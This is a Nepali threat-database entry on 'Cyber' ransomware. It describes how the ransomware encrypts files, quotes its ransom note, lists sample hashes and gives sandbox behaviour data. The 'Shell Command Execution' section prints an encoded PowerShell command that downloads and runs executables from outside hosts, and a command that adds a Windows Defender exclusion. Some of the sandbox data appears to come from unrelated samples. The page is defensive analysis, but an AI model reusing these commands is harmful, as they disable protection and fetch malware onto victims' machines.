बहु-लाइसेन्स छूट उद्धरण
खतरा डाटाबेस Ransomware Cyber Ransomware

Cyber Ransomware

Ransomware मा Mezo सम्म
यसमा अनुवाद गर्नुहोस्:

थ्रेट स्कोरकार्ड

Popularity Rank: 10,078
खतरा स्तर: 100 % (उच्च)
संक्रमित कम्प्युटरहरू: 3,489
पहिलो पटक देखियो: October 15, 2021
पछिल्लो पटक हेरिएको: November 12, 2025
OS(es) प्रभावित: Windows

साइबर नामको मालिसियस प्रोग्राम ransomware प्रकारको मालवेयर हो। उल्लङ्घन गरिएको प्रणालीमा कार्यान्वयन भएपछि, यसले तुरुन्तै यन्त्रमा रहेका सबै फाइलहरूको इन्क्रिप्सन प्रक्रिया सुरु गर्छ र '.Cyber' एक्स्टेन्सनसँग तिनीहरूको मूल फाइलनामहरू जोड्छ। उदाहरणका लागि, '1.doc' को प्रारम्भिक नामको फाइल अब इन्क्रिप्ट गरिसकेपछि '1.doc.Cyber' को रूपमा देखा पर्नेछ। त्यस्तै, '2.pdf' '2.pdf.Cyber' बन्नेछ, र यस्तै अन्य। साइबर सुरक्षा अनुसन्धानकर्ताहरूले साइबर र्यान्समवेयरको खतरा केओस मालवेयर स्ट्रेनमा आधारित रहेको औंल्याए।

फाइल इन्क्रिप्शनको अतिरिक्त, साइबर र्यान्समवेयरले डेस्कटप वालपेपर पनि परिवर्तन गर्दछ र 'read_it.txt' नामको फिरौती नोट उत्पन्न गर्दछ। फिरौती नोटले पीडितहरूका लागि निर्देशनहरू समावेश गर्दछ, ransomware आक्रमणहरूका लागि जिम्मेवार साइबर अपराधीहरूले सामान्यतया एन्क्रिप्टेड फाइलहरू अनलक गर्न डिक्रिप्शन कुञ्जीको बदलामा भुक्तानीको माग गर्दछ।

Cyber Ransomware एन्क्रिप्शन मार्फत धेरै फाइल प्रकारहरू पहुँचयोग्य बनाउन सक्छ

ransomware नोटले संकेत गर्दछ कि पीडितको महत्त्वपूर्ण फाइलहरू, जस्तै डाटाबेस, कागजातहरू, र फोटोहरू इन्क्रिप्ट गरिएका छन् र Bitcoin क्रिप्टोकरन्सीमा फिरौती तिरेर मात्र डिक्रिप्ट गर्न सकिन्छ। फिरौती रकम सामान्यतया उल्लेख गरिएको छ, र पीडितहरूलाई भुक्तानी गर्नु अघि सीमित संख्यामा फाइलहरूमा डिक्रिप्शन परीक्षण गर्ने तरिका दिइएको छ।

नोटमा प्रायः आक्रमणकारी वा तिनीहरूका प्रतिनिधिहरूको सम्पर्क जानकारी समावेश हुन्छ। यद्यपि, कहिलेकाहीँ सम्पर्क जानकारी मान्य नहुन सक्छ, र पीडितलाई आक्रमणकारीहरूसँग कुराकानी गर्न कठिनाइ हुन सक्छ। थप रूपमा, ransomware को वालपेपरले एउटै सन्देश र फिरौती रकम प्रदर्शन गर्न सक्छ तर फरक सम्पर्क विवरणहरूसँग।

धेरैजसो ransomware आक्रमणहरूमा, आक्रमणकारीहरूको संलग्नता बिना डिक्रिप्शन सामान्यतया सम्भव छैन। पीडितहरूले फिरौती तिर्दा पनि, उनीहरूले आफ्ना फाइलहरू पुन: प्राप्त गर्न आवश्यक डिक्रिप्शन कुञ्जी वा सफ्टवेयर प्राप्त नगर्न सक्छन्। नतिजाको रूपमा, सम्पर्क जानकारी वैध छ र फिरौतीको रकम किफायती देखिन्छ भने पनि, विशेषज्ञहरूले फिरौती तिर्न विरुद्ध कडा सल्लाह दिन्छन्।

यो याद राख्नु आवश्यक छ कि फिरौती तिर्नुले आपराधिक गतिविधिलाई समर्थन गर्दछ र इन्क्रिप्टेड डाटाको पुन: प्राप्तिको ग्यारेन्टी गर्दैन। पीडितहरूले अन्य विकल्पहरू अन्वेषण गर्नुपर्छ, जस्तै ब्याकअपबाट फाइलहरू पुनर्स्थापना गर्ने वा सुरक्षा विशेषज्ञहरूबाट सहयोग खोज्ने।

Cyber Ransomware जस्ता खतराहरूबाट तपाईंको उपकरणहरू र डाटा सुरक्षित गर्न निश्चित गर्नुहोस्

ransomware आक्रमणहरूबाट प्रयोगकर्ताहरूले आफ्ना यन्त्रहरू र डेटालाई जोगाउन लागू गर्न सक्ने उत्तम उपायहरूमा सक्रिय र प्रतिक्रियात्मक रणनीतिहरूको संयोजन समावेश छ।

पहिले, प्रयोगकर्ताहरू तिनीहरूको अनलाइन गतिविधिमा सतर्क हुनुपर्छ र फिसिङ इमेलहरू वा मालिसियस डाउनलोडहरू जस्ता सामान्य ransomware संक्रमण भेक्टरहरूको शिकार हुनबाट बच्न कदम चाल्नुपर्छ। यसमा बलियो र अद्वितीय पासवर्डहरू प्रयोग गर्ने, नियमित रूपमा सफ्टवेयर र अपरेटिङ सिस्टमहरू अद्यावधिक गर्ने, र शंकास्पद इमेल वा लिङ्कहरूबाट सावधान रहनु समावेश छ।

दोस्रो, प्रयोगकर्ताहरूले सुरक्षा उपायहरू लागू गर्नुपर्छ, जस्तै सम्मानित एन्टि-मालवेयर सफ्टवेयर प्रयोग गरेर र फायरवालहरूलाई तिनीहरूको यन्त्रहरूमा अनाधिकृत पहुँच ब्लक गर्न सक्षम पार्ने। तिनीहरूले अन्त्यबिन्दु पत्ता लगाउने र प्रतिक्रिया (EDR) उपकरणहरू प्रयोग गर्ने बारे पनि विचार गर्नुपर्छ, जसले वास्तविक समयमा ransomware आक्रमणहरू पत्ता लगाउन र प्रतिक्रिया दिन मद्दत गर्न सक्छ।

तेस्रो, प्रयोगकर्ताहरूले नियमित रूपमा आफ्नो महत्त्वपूर्ण डाटा बाह्य स्रोतमा ब्याकअप गर्नुपर्छ, जस्तै क्लाउड सेवा वा बाह्य हार्ड ड्राइभ। यो सुनिश्चित गर्न मद्दत गर्न सक्छ कि तिनीहरूको यन्त्र ransomware बाट संक्रमित भए तापनि, तिनीहरू अझै पनि फिरौती तिर्न बिना आफ्नो डेटा पहुँच गर्न सक्छन्।

चौथो, ransomware आक्रमणको घटनामा, प्रयोगकर्ताहरूले फिरौती तिर्नबाट जोगिनु पर्छ किनकि यसले उनीहरूको डाटाको सुरक्षित पुन: प्राप्तिको ग्यारेन्टी नहुन सक्छ र थप आपराधिक गतिविधिलाई पनि प्रोत्साहन दिन सक्छ। बरु, तिनीहरूले सुरक्षा विशेषज्ञहरूबाट व्यावसायिक मद्दत खोज्नुपर्छ र कानून प्रवर्तनलाई आक्रमणको रिपोर्ट गर्ने विचार गर्नुपर्छ।

अन्तमा, प्रयोगकर्ताहरूले नवीनतम ransomware खतराहरू र विकसित आक्रमण प्रविधिहरू बारे सचेत रहन र सम्भावित आक्रमणहरूबाट आफूलाई जोगाउन तयार रहनुपर्छ।

साइबर र्यान्समवेयरले छोडेको फिरौती नोटको पूर्ण पाठ यस्तो छ:

चिन्ता नगर्नुहोस्, तपाईं आफ्नो सबै फाइलहरू फर्काउन सक्नुहुन्छ!

तपाईंका सबै फाइलहरू जस्तै कागजातहरू, फोटोहरू, डाटाबेसहरू र अन्य महत्त्वपूर्णहरू इन्क्रिप्टेड छन्

हामी तपाईंलाई के ग्यारेन्टी दिन्छौं?

तपाइँ तपाइँको 3 ईन्क्रिप्टेड फाइलहरू पठाउन सक्नुहुन्छ र हामी यसलाई नि: शुल्क डिक्रिप्ट गर्दछौं।

तपाईंले आफ्नो फाइलहरू डिक्रिप्ट गर्न यी चरणहरू पालना गर्नुपर्छ:

1) हाम्रो इ-मेलमा लेख्नुहोस्:test@test.com ( 24 घण्टामा जवाफ नआएमा आफ्नो स्प्याम फोल्डर जाँच गर्नुहोस्

वा हामीलाई यो इ-मेलमा लेख्नुहोस्: test2@test.com)

2) Bitcoin प्राप्त गर्नुहोस् (तपाईले Bitcoins मा डिक्रिप्शन को लागी तिर्नुपर्छ।

भुक्तानी पछि हामी तपाईंलाई उपकरण पठाउनेछौं जसले तपाईंको सबै फाइलहरू डिक्रिप्ट गर्नेछ।)

Cyber Ransomware भिडियो

सुझाव: आफ्नो आवाज खोल्नुहोस् र पूर्ण स्क्रिन मोडमा भिडियो हेर्नुहोस् ।

विश्लेषण रिपोर्ट

सामान्य जानकारी

Family Name: Cyber Ransomware
Signature status: No Signature

Known Samples

MD5: 6ae50bdc7246401c666cd7e1b200d87a
SHA1: ec759c5df1845d1109fe2518380233ae1854850f
फाइल साइज: 1.84 MB, 1839616 bytes
MD5: 92a4a3aa4b40e95e8ca1d015c048246b
SHA1: 443a688cc83423c7511d56b626f85a392e798ac1
फाइल साइज: 5.12 KB, 5120 bytes
MD5: 969c9e50187024581e8943a2d8ed9d2d
SHA1: 57cec27d4e6c7714265cad52f7fd9cf58f68bb82
SHA256: C78A44442518C4EC39EF4E85C331C5CDD25C92FC92A80010C6F6DC3F59B1C42D
फाइल साइज: 4.61 KB, 4608 bytes
MD5: d1657a06fd2a757c43372f77ed433f30
SHA1: 48d0f17e206fdcff74121783989c90117ee411f4
SHA256: 0AFC88FC7DD731CF7D5884C415D5A27DC4FB39EB54DC890257AFEA947FC05725
फाइल साइज: 4.54 MB, 4536320 bytes

Windows Portable Executable Attributes

  • File doesn't have "Rich" header
  • File doesn't have debug information
  • File doesn't have exports table
  • File doesn't have relocations information
  • File doesn't have security information
  • File is 32-bit executable
  • File is either console or GUI application
  • File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
  • File is Native application (NOT .NET application)
  • File is not packed
Show More
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

File Traits

  • HighEntropy
  • No Version Info
  • x86

Block Information

Total Blocks: 8
Potentially Malicious Blocks: 7
Whitelisted Blocks: 1
Unknown Blocks: 0

Visual Map

x x x x x x x 0
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block

Similar Families

  • ClipBanker.VA
  • ClipBanker.VB

Files Modified

File Attributes
\device\namedpipe\pshost.133968239486036860.2548.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\pshost.133973844142271624.5256.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\pshost.134074942406200962.1348.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
c:\users\user\appdata\local\cheat.dll Generic Write,Read Attributes
c:\users\user\appdata\local\launcher.exe Generic Write,Read Attributes
c:\users\user\appdata\local\launcher.ini Generic Write,Read Attributes
c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_16.db Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_idx.db Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_0zdqbhap.r32.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_24snuqhq.oyp.ps1 Generic Write,Read Attributes
Show More
c:\users\user\appdata\local\temp\__psscriptpolicytest_al3g5ul4.lob.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_aocz5vmr.rla.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_dv4pkhv1.qlu.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_iqv5olmb.tfb.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_ruwcjycv.ppp.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_ux1vmtfo.12w.psm1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\album_td_3-8-0_activation.exe Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\father.bat Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\father.bat Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1 Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\tmp4351$.tmp Generic Write,Read Attributes,Delete
c:\users\user\appdata\local\temp\ttrj.exe Generic Write,Read Attributes
c:\users\user\deployment_test.exe Generic Write,Read Attributes

Registry Modifications

Key::Value डाटा API Name
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 넜泝Ǜ RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 RegNtPreCreateKey
Show More
HKLM\software\microsoft\windows\currentversion\runonce::wextract_cleanup0 rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Vebexpvr\AppData\Local\Temp\IXP000.TMP\" RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe ᭖洢Ǜ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 洧Ǜ RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::0 C:\Users\Vebexpvr\AppData\Local\Launcher.exeC:\Users\Vebexpvr\AppData\Local RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots  RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots  RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots  RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::1 Z1敖敢灸牶B 뻯.Vebexpvr RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::0 V1嫬齤灡摰瑡a@ 뻯啮坤嫬齤.穗붽æappdata RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::0 P1嫬齤潬慣l< 뻯嫬齤嫬齥.穘ˑQlocal RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::nodeslot „ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bags\132\shell::sniffedfoldertype Generic RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex ￿￿ RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 椓嵌Ǜ RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe ﻒ⍮味ǜ RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 㴠ȁ龡^8獖} RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 RegNtPreCreateKey

Windows API Usage

Category API
Process Manipulation Evasion
  • NtUnmapViewOfSection
Process Shell Execute
  • CreateProcess
  • ShellExecute
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAccessCheckByType
  • ntdll.dll!NtAddAtomEx
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAllocateLocallyUniqueId
  • ntdll.dll!NtAlpcAcceptConnectPort
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreatePort
  • ntdll.dll!NtAlpcCreatePortSection
Show More
  • ntdll.dll!NtAlpcCreateSectionView
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtAlpcSetInformation
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtAssociateWaitCompletionPacket
  • ntdll.dll!NtCancelWaitCompletionPacket
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtCompareSigningLevels
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateIoCompletion
  • ntdll.dll!NtCreateKey
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreatePrivateNamespace
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtCreateTimer2
  • ntdll.dll!NtCreateWaitCompletionPacket
  • ntdll.dll!NtCreateWorkerFactory
  • ntdll.dll!NtDelayExecution
  • ntdll.dll!NtDeleteValueKey
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFindAtom
  • ntdll.dll!NtFlushProcessWriteBuffers
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtFsControlFile
  • ntdll.dll!NtGetCachedSigningLevel
  • ntdll.dll!NtGetNlsSectionPtr
  • ntdll.dll!NtImpersonateAnonymousToken
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenMutant
  • ntdll.dll!NtOpenProcess
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDefaultLocale
  • ntdll.dll!NtQueryDirectoryFile
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryEvent
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationJobObject
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReadVirtualMemory
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationFile

206 additional items are not displayed above.

Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetUserDefaultLocaleName
  • GetUserName
  • GetUserNameEx
  • GetUserObjectInformation
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges

Shell Command Execution

open C:\Users\Vebexpvr\AppData\Local\Launcher.exe
open C:\Users\Vebexpvr\deployment_test.EXE
cmd.exe /c father.bat
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Start-Process -WindowStyle Hidden -FilePath powershell -Verb RunAs -ArgumentList '-NoProfile -Command Add-MpPreference -ExclusionPath \"C:\Users\Vebexpvr\*\"
open powershell -EncodedCommand "PAAjAHYAYQBwACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQAtAHAAbAB1AGcAaQBuAC4AaQBuAGYAbwAvAHkAYwAuAGUAeABlACcALAAgADwAIwBqAHMAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAZABzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAdAB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwAuAGUAeABlACcAKQApADwAIwBlAGEAdgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAGQAbwBiAGUALQBwAGwAdQBnAGkAbgAuAGkAbgBmAG8ALwB5AGMAdgAuAGUAeABlACcALAAgADwAIwBqAHEAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAcQB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGMAdABjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwB2AC4AZQB4AGUAJwApACkAPAAjAGkAZgBpACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZwBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAG0AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMALgBlAHgAZQAnACkAPAAjAHYAcQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdABiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwByAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMAdgAuAGUAeABlACcAKQA8ACMAegB2AHQAIwA+AA=="
Show More
open powershell -EncodedCommand "PAAjAHQAegBsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQBoAGUAbABwAC4AbgBlAHQALwB3AGkAbgA4ADYALgBlAHgAZQAnACwAIAA8ACMAegBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGwAZAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHMAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgA4ADYALgBlAHgAZQAnACkAKQA8ACMAaAB6AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgBjAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGgAcgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADgANgAuAGUAeABlACcAKQA8ACMAbgB2AG0AIwA+AA=="
open powershell -EncodedCommand "PAAjAGsAYwBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAcwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAZABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAdABlACMAPgA="
open C:\Users\Qoceadrm\AppData\Local\Temp\Album_TD_3-8-0_Activation.exe
open C:\Users\Qoceadrm\AppData\Local\Temp\ttrj.exe

सम्बन्धित पोस्टहरू

CyberHazard Ransomware

Ransomware
र्‍यानसमवेयर साइबर अपराधको सबैभन्दा विनाशकारी रूपहरू मध्ये एक हो। यी आक्रमणहरूले गम्भीर डेटा हानि, सञ्चालन अवरोध र वित्तीय क्षति निम्त्याउन सक्छ। कुख्यात मेडुसालकर परिवारको हिस्सा, भर्खरै पहिचान...

CyberSpaceLogin

म्याक मालवेयर, एडवेयर, सम्भावित अवांछित कार्यक्रमहरू
CyberSpaceLogin एक सफ्टवेयर अनुप्रयोग हो जसले हस्तक्षेपकारी र प्रायः अनावश्यक विशेषताहरू प्रदर्शन गर्दछ। यो संदिग्ध एप्लिकेसन मुख्यतया यन्त्रमा समग्र प्रयोगकर्ता अनुभवलाई उल्लेखनीय रूपमा घटाउँदै,...

